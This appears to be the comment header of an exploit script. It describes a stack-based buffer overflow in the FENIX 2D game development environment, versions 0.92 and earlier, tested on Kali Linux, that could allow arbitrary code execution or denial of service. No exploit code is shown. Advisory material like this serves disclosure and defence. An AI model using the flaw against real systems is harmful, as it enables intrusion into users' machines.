    # Program: fenix - development environment for making 2D games
    # Tested on: GNU/Linux - Kali Linux 2.0
    #
    # Description: FENIX v0.92 and prior is prone to a stack-based buffer overflow
    # vulnerability because the application fails to perform adequate
    # boundary-checks on user-supplied input.
    #
    # An attacker could exploit this issue to execute arbitrary code in the
    # context of the application. Failed exploit attempts will result in a
    # denial-of-service condition.
